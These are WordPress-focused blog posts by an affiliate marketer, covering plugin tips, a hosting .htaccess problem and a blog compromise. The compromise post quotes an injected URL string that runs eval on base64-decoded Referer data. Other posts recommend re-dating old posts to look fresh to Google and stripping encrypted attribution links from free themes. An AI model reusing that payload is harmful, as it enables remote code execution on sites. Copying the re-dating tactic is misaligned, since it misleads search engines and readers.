A friend of mine pointed this neato little plugin out to me last week (thanks Zane!).

The WordPress Broken Link Checker will: -

• Search your entire blog for links returning 404s or other errors.
• Output the problem links into one handy dandy interface.
• Let you edit and change any broken links in one place.
• Detects missing images.
• Gives you lots of clever options on how to deal with broken links on your pages generally.
• Will regularly check your site as often as you want and e-mail you if anything is wrong.

If you have put affiliate links direct into your content you’ve just had a merchant change their site and not implement redirects, leaving you with a site loaded with broken affiliate links this strikes me as an absolute lifesaver that will save you a LOT of time.  Similarly if you have a large site that is several years old and don’t have a strategy to keep up with content that has gone stale I reckon this is an absolute must add to your WordPress arsenal.

I’ve tested it out on my Lingerie Brands site and the only issue I had with it was that it seemed to make my dashboard run a teeny bit slow for a little while. It also reported a lot of my links as broken due to the way I manage and redirect them back out to the merchant.  However Zane also made use of it and reported no problems. I’d perhaps set it to run overnight “just in case”.  As always with a new plugin, making sure that your databases are all nice and backed up is also a great idea. I’d hate to be responsible for suggesting something that melted your site database

Hope it helps some of you guys

Hi folks, just a quickie post from me – I’m taking a break this week and I’m not meant to be doing any affiliating or even any internetting so SHHHH, you didn’t see me here – right?

I’ve just found this podcast featuring Matt Cutts chatting about WordPress and it’s wily ways. Some interesting hints and tips for would be users as well as useful chit chat about plugins, keeping Google happy with unique content, duplicate content, and more juicy info.

See you all next week for more affiliate thrills and spills

Hey guys, I’ve been tinkering with the Scheduled Post Shift timestamp plugin for the last few weeks so thought’d I’d share it on here.

This plugin will take the timestamp of your oldest post and make it look like your latest post.  I was a little concerned about this plugin (I was a little concerned Google might take umbrage at such tactics) so I tested it on two older sites of mine that have bags of content but have been sadly neglected for the past year or so.

Both sites had an upturn in traffic, one around 15% the other around 30%.  I’ve been running the plugin on one of them for around 3 months and no signs of anything other than positive effects.

If any of you guys try it out do please let me know how you went with it as my two sites aren’t really enough of a sample to definitively say this plugin has a positive effect.

Happy blogging

A few times recently I’ve awoken to discover that one of my main sites, Lingerie Brands, has been down for several hours thanks to a corrupted .htaccess file. After taking a bit of advice I changed the permissions on my file to make sure it could not be written to.  A week or two of uninterrupted traffic and I relaxed thinking all was well again.

Imagine my horror this morning though when I awoke and discovered a mail from my friend Lee telling me the site had been down all day.  I logged into my FTP account and sure enough, the .htaccess file had been altered – again. The addition of a single “s” after all the wordpress stuff had knocked my entire site over.

So Who’s Been Dicking Around With My Damned Site??!!!

Well, as it transpires my issue is all thanks to a technology improvement at Clook.  One of their support chaps informed me that

“We’ve recently changed the PHP setup slightly which makes scripts like WordPress, Joomla etc. run better as it gives them better permissions on the files. However it looks like your wordpress installation is now able to write to the .htaccess and its writing to it incorrectly”

At this point I was relatively unconcerned, after all wouldn’t Clook be able to sort this issue out for me by pushing their magic techie type buttons just like they always do?

Ummm… Apparently Not!

I was then asked if any of my plugins controlled the .htaccess file (there’s nothing I use that directly says it alters it) so I suggested one which dealt with redirects which was only on LB and one other low traffic site and therefore could be the culprit. Clook responded with

“I would definitely check into that first plugin, especially since it’s only installed on the one site. Since it does manage redirections, it could very well be the culprit. Please let us know what you find.”

I was unable to work out from the code if anything in there might be the villan of this piece but then I’m no programmer, so given that their new setup is clearly causing issues in some scenarios I felt certain they’d want to confirm or deny if that particular plugin could be causing the issue so they could perhaps gain insight for future situations.  They were certainly interested enough to ask me to tell them about it.

Alas, “Unfortunately such coding issues are beyond our scope of support.”

Ah. OK then. I suppose they have to draw the line somewhere.

So It’s All Down To A Process of Elimination

Basically, this issue is likely to be down to a plugin performing wicked deeds somewhere. So all that Clook can suggest is a process of elimination. I switch off plugins I think might be causing the issue and wait to see if it happens again.

I find this sort of situation immensely frustrating.  I can’t find out what is causing it because I have to wait for it to happen again (if my plugin purge doesn’t fix it), and I can’t stop it from happening again because of the new and improved write access.  Perplexed I asked Clook if their new setup was changing file permissions and they told me that in fact

“Our changes don’t make it so that WordPress can modify the permissions on a file, but rather so that it can modify necessary files without you first having to change permissions.

This is noticeable when you try to make changes to a theme. Before the upgrade, you would have to individually modify the permissions on any files (header, footer, etc) before you could make changes to them, then you’d have to change the permissions back. Now that is not necessary.”

Well That’s Quite Good Isn’t It?

Quite a good, convenient change for most Clook users (they did say most people were very happy when I casually mentioned how I personally thought it was shit!).  Also, it probably prevents the odd scenario where forgetful people change the permissions to “Yeah baby overwrite me!” and then forget to change them back, subsequently resulting in website hackage and general unhappiness all round.

It’ll also make the whole WordPress setup / customisation process easier.

Do I Like It?

Frankly no, I don’t like it one little bit. I hate the fact that I have handed control of my .htaccess files in particular to WordPress which can sometimes behave in unexpected and unstable ways thanks to its “aggregate” nature, which often results in conflicts.  I don’t like that I now have an issue on a rather large site that I can exert no control over whatsoever. Honestly, I feel like an ancient occupant of  Troy who has just wheeled in a rather attractive and unexpected garden ornament that’s just convieniently big enough to hold an entire murderous army and retired to bed for the evening. It’s only a matter of time!

It just seems nonsensical that I know where the issue comes from, how it can be stopped, and I simply can’t protect my file from it.

Ah Well, I Needed To Sort Out Uptime Monitoring Anyway

One reason this has been so damaging is that it’s tending to happen when I’m asleep here in Australia. This means the site has been down for an entire UK workday twice now, and I think there have been 2 or 3 other shorter outages which I’ve caught before too much damage was done.  Lingerie Brands has gotten to a size where it probably should be monitored, so at least this situation means I’ll stop procrastinating and get it all sorted out.  It will mean I’ll probably get woken up at some ungodly hour of the morning if (when) it happens again and will be incredibly grumpy the next time I contact Clook about it.

I did enquire if they might consider adding an opt out sort of system but was told they’ve applied it over all servers for consistency. If I want a customised setup I’ll need to pay for one.

Would I Still Recommend Clook?

Hmmm… I do still really rate their service. Despite me being severely pissed off about this issue I was still very impressed with their support which was prompt, curteous, and as helpful as they could be within the constraints of their role.  However, I am deeply uncomfortable about not being able to prevent files I want protecting being overwritten. It just doesn’t feel right and I feel as if my control over my sites has been compromised.

Still, I certainly won’t be moving my site elsewhere so the fact I’m prepared to work through this issue rather than jumping ship must mean I still love them really. Only time will tell if continuing to use them is sustainable.

Now… Who Owes me a Favour?

I’m off to find some technically able type to look at the code of my suspect plugin to see if it is indeed the culprit. I certainly hope so, there’s nothing else I’m using that should be dicking about with the .htaccess file, but it’s always so hard to tell with WordPress!

“Arrggh!!!  F***ing WordPress!!!  Why won’t it just leave my damned formatting be????”

Sound familiar? Then you may be suffering from a well known affiliate affliction known as “WordPress Formatting Rage”.  Commonly experienced right after you’ve spent an age carefully positioning text or images to create a landing page that is the very epitome of perfection – right up until you hit the save button.  At this point WordPress’ WYSIWYG editor code cleanup thingamyjig springs into action like a lithe gazelle and proclaims “Oh ho!! Look at all those line breaks. We don’t want those cluttering up the place do we?”

The result is often less than pleasing and results in a frustrating few minutes spent laboriously re-entering those line breaks (It just must have been a mistake after all. What system would be silly enough to remove them?).  This then brings us back to the first line of the post with a few extra profanities added to reflect the increase in general frustration levels.

Fortunately There is a Fix

Tiny MCE Advanced (download & more info here)

Simply install this wonderous little plugin, and select the “Stop removing my damned well line breaks” option which is located in the big red box on the plugin admin page.

You can then enjoy the bliss that is being able to add line breaks wherever you please as well as having access to some other cool additions such as emoticons, search and replace functionality whilst editing,  support for tables, and heaps more.

“Ahhhh…. that’s better!!”

I got up this morning to find some of my URLs had been appended with: -

/%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_REFERER%5D))%7D%7D|.+)&%/

It would appear that the blog has been hacked by someone who registered as a subscriber using black hearted techniques I really don’t understand.  Fortunately for me my knight in shining armour came after a quick Google search  in the form of Andrew Wee who had suffered similar and has written a very thorough fix on his blog.

Read Andrew Wee’s Fix Here >>

Thanks Andrew, this one would have had us stumped.  I’ll be keeping a close eye on all my WordPress blogs today.

My blog was running on a very old WordPress version (lazy) so I’m not sure if this is something that’s already been fixed as part of previous version updates or not.  A good reminder that it is important to keep your WP version updated with new fixes!

*edit*

Just found this WordPress Support Topic on the issue – it does indeed seem to be old versions that have been hacked so guys learn your lesson from this lazy affiliate marketer before it happens to your blog.  Update your WordPress version now!!!

Also Jason suggested we check our SQL database for any admins that might have been added and sure enough when we checked, there was a spurious admin sitting in there and not visible in WordPress!

When I find a good plugin I do like to give the developers a bit of a heads up here on the blog.  My latest find is the Featured Content Gallery plugin by iePlexus.

If you have a blog which is based around promoting just about any type of product at all, I reckon you’ve just gotta love this brill plugin which once again demonstrates just how powerful and usable the WordPress platform really is.

So What Does It Do?

As you can see below, it creates a scrolling gallery of “featured content” from one of your site categories.  Simple and easy to use, all you have to do to create an attractive looking dynamic content unit displaying  as many of your most recent posts as you want to highlight is to pop the URL of the image you’ve used into the post into a custom field.

(click the image above to see the plugin in action on my blog)

The clever plugin does the rest, sizing your images appropriately to create a great and visually appealing display on your blog.  There are a whole host of easily customisable options for this plugin meaning you should be able to make it fit in with your theme and product areas quite readily.

I’ve been looking for a plugin that would do this for quite some time and I was extremely surprised at how easy it was to use.  Last time I tried to find something like this all sorts of complex manual resizing was required so I’m thrilled!

Like many people who shoot their mouth off on the internet, I’m too dumb / busy to always practise what I preach!  I’ve been thinking about this blog and how it has done in the 18 months since I started it.  Most sites will enjoy a gradual build of traffic as more and more top quality content is added.

So how do Affiliate Stuff’s Organic Traffic Stats Look?

I think we will refer to this sort of look as an “SEO Flatline”!  This is in contrast to another blog I’ve been running for around 6 months, and working on steadily for the past 12 weeks or so: -

As you can see, there’s a most pleasing gentle upward curve in my Google organic traffic. A stark contrast to my blog which is clearly “in the SEO doldrums”.

So What Did You Do Wrong Kirsts?

Well, I didn’t take all my own fabulous advice!  I haven’t done anything to deal with the duplicate content or weak linkage structure issues that the WordPress platform seems to cause.

But Now I’m Drawing My Line in The Sand

I thought it would be a neat wee experiment to see what the effects of following my own advice turn out to be.  Just how much traffic have I been missing out on?  Could I have been top of the blogging pops?!  This weekend I am going to add a bit of SEO bling via a variety of excellent plugins such as Joost De Valk’s Meta Robots and RSS Footer plugins which no self respecting blog should be without *ahem*

In 3 months time, I’ll report back and let y’all see the results… if it’s a success it’ll be proof positive that all these WordPress plugins we all keep banging on about really do super charge that SEO!

You’ve found the perfect free theme for your latest WordPress blogging project… But wait!  Its got loads of spammy links in the footer, and they seem to be encrypted by some devious technical genius – what should you do?  Don’t delete that theme too soon… there is an easy solution.

As many of you will know, keeping those links in the footer of a WP blog can cause unpleasant issues, such as draining your hard-won link juice away from your site.

I was surprised to discover today that removing the carefully encrypted footer links is the work of about 2 minutes.  I’ll defer to the greater knowlege of the guys at the “Get Netted” blog, who created a brill tutorial with screenshots and easy to understand instructions.

Thanks to them, my brand new Solar powered products blog is looking just fab.  Cheers guys!

Just a bit of a quick post as I have found a couple of really nice ways to increase the cross linkage / passing of link juice between posts on a WordPress blog. On one of my blogs all the posts in one particular category have stopped ranking at all. When I thought about it, I realised the cross linkage between the posts was dire. Todays exciting project was therefore to try and find some different ways to make sure my posts are “seen” by Google!

As usual there are a some plugins that I can recommend for this task (where was I before they invented WordPress plugins, eh?): -

Similar Posts by Rob Marsh – I’ve recommended this one before in my WordPress 102 post, however I think it is worth mentioning again. It really is a very clever wee tool and has lots of different matching perameters to display any number of posts containing similar content.

Dagon Design’s Sitemap Plugin – This isn’t a plugin for a XML sitemap that only Google will see. Rather it will generate a page or pages containing lists of all your posts by category. It has an option that lets you choose the number of links per page, how all the pages link to each other, and what order links are displayed in. It is disgustingly easy to use. Just create a page, pop in a bit of code, and Boof!! - a sitemap. Nice work lads.

I also had a bit of a gander through the WordPress Codex (great bedtime reading guys) and discovered a handy dandy wee bit of code you can pop in to create “next” and “previous” links at the bottom of all posts. I can’t code to save myself, but I’m a demon cut and paster. Love it!

I also read a blog article on ways to improve your cross linkage and thought it was a good checklist. Worth a read, and definately worth actioning some or all of the points in the article.